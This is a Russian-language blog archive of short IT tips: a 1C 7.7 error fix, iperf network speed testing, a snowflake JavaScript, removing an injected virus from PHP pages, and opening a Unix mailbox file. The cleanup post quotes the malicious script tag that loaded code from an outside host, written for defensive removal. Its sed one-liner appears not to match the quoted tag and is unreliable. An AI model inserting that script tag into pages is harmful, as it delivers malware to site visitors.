Archive for the Category: ' 1С '

Статья написана автором Галиев Руслан

1C 7.7 Runtime Error

Проблема следующего рода, при открытии 1С в любом режиме выходит ошибка:

Решается следующим образом:

1) В папке SYSLOG базы данных открываем текстовым редактором файл 1cv7.mlg (журнал регистраций) и ставим в конце пробел, или любой другой символ. Пытаемся запустить базу.

2) Если не помог первый способ, то удаляем файл 1cv7.mlg

Статья написана автором Галиев Руслан

Проверка скорости СПД

Возникла необходимость проверки скорости сети передачи данных между удалёнными офисами, соответствует ли она заявленной. После недолгих поисков была найдена кросс кроссплатформенная консольная клиент-серверная программа iperf .

Пользуемся следующим образом.

1) На сервере запускаем: iperf -s

2) На клиенте: iperf -c server_host

Если хотим послать объём в 50мбайт на клиенте запускаем: iperf -c server_host -n 50m

Ключи запуска которые тоже могут пригодится:

-p : порт на который будет производится соединение;
-t : продолжительность соединения в секундах;
-i : интервал в секундах, через который будет выводиться статистика на экран;
-b : для изменения полосы трафика, в бит/сек;
-l : длинна пакета в байтах;
-u : режим UDP-пакетов;

Вывод будет примерно следующий:

1
2
3
4
5
6
7
------------------------------------------------------------
Client connecting to 192.168.1.1, TCP port 5001
TCP window size: 8.00 KByte (default)
------------------------------------------------------------
[3960] local 192.168.1.2 port 11197 connected with 192.168.1.1 port 5001
[ ID] Interval       Transfer     Bandwidth
[3960]  0.0-21.9 sec  50.0 MBytes  19.2 Mbits/sec
Статья написана автором Галиев Руслан

JavaScript снежинки на сайт

Грядет Новый год и я решил установить на сайт скрипт падающих снежинок. После недолгих поисков нашёл симпатичный скрипт. Привожу его листинг:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
// Set the number of snowflakes (more than 30 - 40 not recommended)
var snowmax=35

// Set the colors for the snow. Add as many colors as you like
var snowcolor=new Array("#b9dff5","#b9dff5","#b9dff5","#b9dff5","#b9dff5")

// Set the fonts, that create the snowflakes. Add as many fonts as you like
var snowtype=new Array("Times")

// Set the letter that creates your snowflake (recommended: * )
var snowletter="*"

// Set the speed of sinking (recommended values range from 0.3 to 2)
var sinkspeed=0.6

// Set the maximum-size of your snowflakes
var snowmaxsize=35

// Set the minimal-size of your snowflakes
var snowminsize=8

// Set the snowing-zone
// Set 1 for all-over-snowing, set 2 for left-side-snowing
// Set 3 for center-snowing, set 4 for right-side-snowing
var snowingzone=1

///////////////////////////////////////////////////////////////////////////
// CONFIGURATION ENDS HERE
///////////////////////////////////////////////////////////////////////////

// Do not edit below this line
var snow=new Array()
var marginbottom
var marginright
var timer
var i_snow=0
var x_mv=new Array();
var crds=new Array();
var lftrght=new Array();
var browserinfos=navigator.userAgent
var ie5=document.all&&document.getElementById&&!browserinfos.match(/Opera/)
var ns6=document.getElementById&&!document.all
var opera=browserinfos.match(/Opera/)
var browserok=ie5||ns6||opera

function randommaker(range) {
rand=Math.floor(range*Math.random())
return rand
}

function initsnow() {
if (ie5 || opera) {
marginbottom = document.body.scrollHeight
marginright = document.body.clientWidth-15
}
else if (ns6) {
marginbottom = document.body.scrollHeight
marginright = window.innerWidth-15
}
var snowsizerange=snowmaxsize-snowminsize
for (i=0;i<=snowmax;i++) {
crds[i] = 0;
lftrght[i] = Math.random()*15;
x_mv[i] = 0.03 + Math.random()/10;
snow[i]=document.getElementById("s"+i)
snow[i].style.fontFamily=snowtype[randommaker(snowtype.length)]
snow[i].size=randommaker(snowsizerange)+snowminsize
snow[i].style.fontSize=snow[i].size+'px';
snow[i].style.color=snowcolor[randommaker(snowcolor.length)]
snow[i].style.zIndex=1000
snow[i].sink=sinkspeed*snow[i].size/5
if (snowingzone==1) {snow[i].posx=randommaker(marginright-snow[i].size)}
if (snowingzone==2) {snow[i].posx=randommaker(marginright/2-snow[i].size)}
if (snowingzone==3) {snow[i].posx=randommaker(marginright/2-snow[i].size)+marginright/4}
if (snowingzone==4) {snow[i].posx=randommaker(marginright/2-snow[i].size)+marginright/2}
snow[i].posy=randommaker(2*marginbottom-marginbottom-2*snow[i].size)
snow[i].style.left=snow[i].posx+'px';
snow[i].style.top=snow[i].posy+'px';
}
movesnow()
}

function movesnow() {
for (i=0;i<=snowmax;i++) {
crds[i] += x_mv[i];
snow[i].posy+=snow[i].sink
snow[i].style.left=snow[i].posx+lftrght[i]*Math.sin(crds[i])+'px';
snow[i].style.top=snow[i].posy+'px';

if (snow[i].posy>=marginbottom-2*snow[i].size || parseInt(snow[i].style.left)>(marginright-3*lftrght[i])){
if (snowingzone==1) {snow[i].posx=randommaker(marginright-snow[i].size)}
if (snowingzone==2) {snow[i].posx=randommaker(marginright/2-snow[i].size)}
if (snowingzone==3) {snow[i].posx=randommaker(marginright/2-snow[i].size)+marginright/4}
if (snowingzone==4) {snow[i].posx=randommaker(marginright/2-snow[i].size)+marginright/2}
snow[i].posy=0
}
}
var timer=setTimeout("movesnow()",50)
}

for (i=0;i<=snowmax;i++) {
document.write("<span id='s"+i+"' style='position:absolute;top:-"+snowmaxsize+"'>"+snowletter+"</span>")
}
if (browserok) {
window.onload=initsnow
}

Устанавливаем скрипт на сайт следующим образом:

  1. Файл скрипта скидываем в директорию сайта
  2. На странице или шаблоне в котором хотим использовать скрипт вставляем следующую строку после тегов body
1
<script src="http://Директория/snow-fall.js" type="text/javascript"></script>

Радуемся падающему снегу:) Всех с Новым годом

Статья написана автором Галиев Руслан

Убираем вирусы с сайта

Столкнулся с проблемой на своём блоге с вирусом   HTML/ScrInject.B.Gen .  На многих страницах php в конце были следующие строки:

<script type=»text/javascript» src=»http://pantscow.ru:8080/Hard_Copy.js»></script>
<!—cb3037d86aac278414c26f0c82b6254e—>

удалять их вручную было сложно и на просторах интернета был найден скрипт:

1
find -name "*.php" -exec sed -i.bakk "s/<script type='text\/javascript' src='http:\/\/pantscow.ru*<\/script>//g" {} \;

Данный скрипт выполняет следующие действия:

  1. В тукущем каталоге и подкаталогах ищет в файлах с расширением *.php необходимую строку
  2. Заменяет строку на пустоту
  3. Создаёт резервый файл с расширением .bakk в том же каталоге

Далее проверяем если всё верно,  строка удалилась, а всё остальное на месте и сайт работает, выполняем скрипт, который удаляет все бэкапные файлы:

1
find -name "*.php.bakk" -exec rm  {} \;
Статья написана автором Галиев Руслан

Открываем Unix mailbox

Необходимо было открыть письмо скопированное с почтового сервера (postfix/cyrus), необходимо было получить вложения, файл открывался и можно было прочитать заголовки, но вложения получить не так просто. При открытии файла письма Unix mailbox Outlook ‘ом возникли проблемы, файл письма не хотел открываться, указав разрешение elm ничего не изменилось, помогла программа MailView